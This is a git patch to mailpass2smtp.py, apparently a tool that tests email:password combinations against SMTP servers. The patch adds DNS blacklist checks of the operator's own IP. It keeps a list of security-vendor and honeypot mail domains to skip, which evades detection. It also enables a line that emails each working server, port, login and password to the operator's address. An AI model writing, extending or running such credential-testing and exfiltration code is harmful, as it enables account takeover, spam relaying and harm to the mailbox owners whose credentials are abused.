From 71a5a5ae577366f1efe8d9c3a570c42e1a7082a5 Mon Sep 17 00:00:00 2001 From: z4za4s <4za4s@riseup.net> Date: Tue, 29 Apr 2025 13:27:23 +0200 Subject: [PATCH 1/2] Update mailpass2smtp.py Removed relying on mxtoolbox for checking if IP is blacklisted, now it will grab from the blacklist lists themselves --- smtp-checker/mailpass2smtp.py | 28 ++++++++++++++++++++-------- 1 file changed, 20 insertions(+), 8 deletions(-) diff --git a/smtp-checker/mailpass2smtp.py b/smtp-checker/mailpass2smtp.py index 1916a5c..cce443f 100644 --- a/smtp-checker/mailpass2smtp.py +++ b/smtp-checker/mailpass2smtp.py @@ -23,6 +23,9 @@ autoconfig_data_url = 'https://raw.githubusercontent.com/aels/mailtools/main/smtp-checker/autoconfigs_enriched.txt' # dangerous mx domains, skipping them all dangerous_domains = r'acronis|acros|adlice|alinto|appriver|aspav|atomdata|avanan|avast|barracuda|baseq|bitdefender|broadcom|btitalia|censornet|checkpoint|cisco|cistymail|clean-mailbox|clearswift|closedport|cloudflare|comforte|corvid|crsp|cyren|darktrace|data-mail-group|dmarcly|drweb|duocircle|e-purifier|earthlink-vadesecure|ecsc|eicar|elivescanned|eset|essentials|exchangedefender|fireeye|forcepoint|fortinet|gartner|gatefy|gonkar|guard|helpsystems|heluna|hosted-247|iberlayer|indevis|infowatch|intermedia|intra2net|invalid|ioactive|ironscales|isync|itserver|jellyfish|kcsfa.co|keycaptcha|krvtz|libraesva|link11|localhost|logix|mailborder.co|mailchannels|mailcleaner|mailcontrol|mailinator|mailroute|mailsift|mailstrainer|mcafee|mdaemon|mimecast|mx-relay|mx1.ik2|mx37\.m..p\.com|mxcomet|mxgate|mxstorm|n-able|n2net|nano-av|netintelligence|network-box|networkboxusa|newnettechnologies|newtonit.co|odysseycs|openwall|opswat|perfectmail|perimeterwatch|plesk|prodaft|proofpoint|proxmox|redcondor|reflexion|retarus|safedns|safeweb|sec-provider|secureage|securence|security|sendio|shield|sicontact|sonicwall|sophos|spamtitan|spfbl|spiceworks|stopsign|supercleanmail|techtarget|titanhq|trellix|trendmicro|trustifi|trustwave|tryton|uni-muenster|usergate|vadesecure|wessexnetworks|zillya|zyxel|fucking-shit|please|kill-me-please|virus|bot|trap|honey|lab|virtual|vm\d|research|abus|security|filter|junk|rbl|ubl|spam|black|list|bad|brukalai|metunet|excello' +#DNSBL Lookup list +dnsbls = ["zen.spamhaus.org","0spam.fusionzero.com","all.rbl.jp","bl.mail.abusix.zone","dbl.spamhaus.org","exploit.mail.abusix.zone","spam.dnsbl.anonmails.de","backscatter.spameatingmonkey.net","b.barracudacentral.org","bl.blocklist.de","bl.rbl.scrolloutf1.com","cbl.abuseat.org","exitnodes.tor.dnsbl.sectoor.de","torexit.dan.me.uk","bl.drmx.org","dnsbl.dronebl.org","spamsources.fabel.dk","bl.mailspike.net","phishing.rbl.msrbl.net","spam.rbl.msrbl.net","netscan.rbl.blockedservers.com","noptr.spamrats.com","rbl.rbl.jp","all.s5h.net","bl.konstant.no","bl.nosolicitado.org","score.senderscore.com","services.net","bl.spamcop.net","dnsbl.spfbl.net","bl.suomispam.net","dnsrbl.swinog.ch","rbl2.triumf.ca","truncate.gbudb.net","dnsbl-1.uceprotect.net","dnsbl-2.uceprotect.net","dnsbl-3.uceprotect.net","woodys.smtp.blacklist","zapbl.net","dnsbl.kempt.net"] + b = '\033[1m' z = '\033[0m' @@ -103,13 +106,20 @@ def check_ipv4(): def check_ipv4_blacklists(): print(inf+'checking ipv4 address in blacklists...'+up) - try: - mxtoolbox_url = f'https://mxtoolbox.com/api/v1/Lookup?command=blacklist&argument={socket.has_ipv4}&resultIndex=5&disableRhsbl=true&format=2' - socket.ipv4_blacklist = requests.get(mxtoolbox_url, headers={'tempauthorization':'27eea1cd-e644-4b7b-bebe-38010f55dab3'}, timeout=15).text - socket.ipv4_blacklist = re.findall(r'LISTED]+>]+>([^<]+)', socket.ipv4_blacklist) - socket.ipv4_blacklist = red(', '.join(socket.ipv4_blacklist)) if socket.ipv4_blacklist else False - except: - socket.ipv4_blacklist = red('blacklist check error') + + ip = socket.has_ipv4 + reversed_ip = '.'.join(socket.has_ipv4.split('.')[::-1]) + + socket.ipv4_blacklist = [] + for dnsbl in dnsbls: + query = f"{reversed_ip}.{dnsbl}" + try: + result = socket.gethostbyname(query) + socket.ipv4_blacklist.append(dnsbl) + except socket.gaierror: + continue + + def check_ipv6(): try: @@ -246,6 +256,7 @@ def guess_smtp_server(domain): def get_smtp_config(domain): global domain_configs_cache, default_login_template domain = domain.lower() + if not domain in domain_configs_cache: domain_configs_cache[domain] = ('', default_login_template) domain_configs_cache[domain] = guess_smtp_server(domain) @@ -544,7 +555,8 @@ def printer(jobs_que, results_que): print(inf+'ignored email hosts: '+bold(exclude_mail_hosts)) print(inf+'goods file: '+bold(smtp_filename)) print(inf+'verification email: '+bold(verify_email or '-')) -print(inf+'ipv4 address: '+bold(socket.has_ipv4 or '-')+' ('+(socket.ipv4_blacklist or green('clean'))+')') +print(inf + 'ipv4 address: ' + bold(socket.has_ipv4 or '-') + ' (' + red((', '.join(socket.ipv4_blacklist)) if socket.ipv4_blacklist else green('clean')) + ')') + print(inf+'ipv6 address: '+bold(socket.has_ipv6 or '-')) input(npt+'press '+bold('[ Enter ]')+' to start...') From 30e2abd4c6c3562c7528a2676d30d2c77ee442c5 Mon Sep 17 00:00:00 2001 From: z4za4s <4za4s@riseup.net> Date: Wed, 30 Apr 2025 11:08:31 +0200 Subject: [PATCH 2/2] Update mailpass2smtp.py --- smtp-checker/mailpass2smtp.py | 12 +++++------- 1 file changed, 5 insertions(+), 7 deletions(-) diff --git a/smtp-checker/mailpass2smtp.py b/smtp-checker/mailpass2smtp.py index cce443f..3df2bde 100644 --- a/smtp-checker/mailpass2smtp.py +++ b/smtp-checker/mailpass2smtp.py @@ -101,20 +101,18 @@ def tune_network(): def check_ipv4(): try: socket.has_ipv4 = read('https://api.ipify.org') + socket.ipv4_blacklist = [] except: socket.has_ipv4 = red('error getting ip') def check_ipv4_blacklists(): print(inf+'checking ipv4 address in blacklists...'+up) - - ip = socket.has_ipv4 + reversed_ip = '.'.join(socket.has_ipv4.split('.')[::-1]) - - socket.ipv4_blacklist = [] + for dnsbl in dnsbls: - query = f"{reversed_ip}.{dnsbl}" try: - result = socket.gethostbyname(query) + result = socket.gethostbyname(f"{reversed_ip}.{dnsbl}") socket.ipv4_blacklist.append(dnsbl) except socket.gaierror: continue @@ -406,7 +404,7 @@ def smtp_connect_and_send(smtp_server, port, login_template, smtp_user, password # 'Content-Type: text/html; charset="utf-8"', # 'Content-Transfer-Encoding: 8bit' # ] - # body = f'{smtp_server}|{port}|{smtp_login}|{password}' + body = f'{smtp_server}|{port}|{smtp_login}|{password}' message_as_str = '\r\n'.join(headers_arr+['', body, '.', '']) return socket_try_mail(s, smtp_user, verify_email, message_as_str) s.close()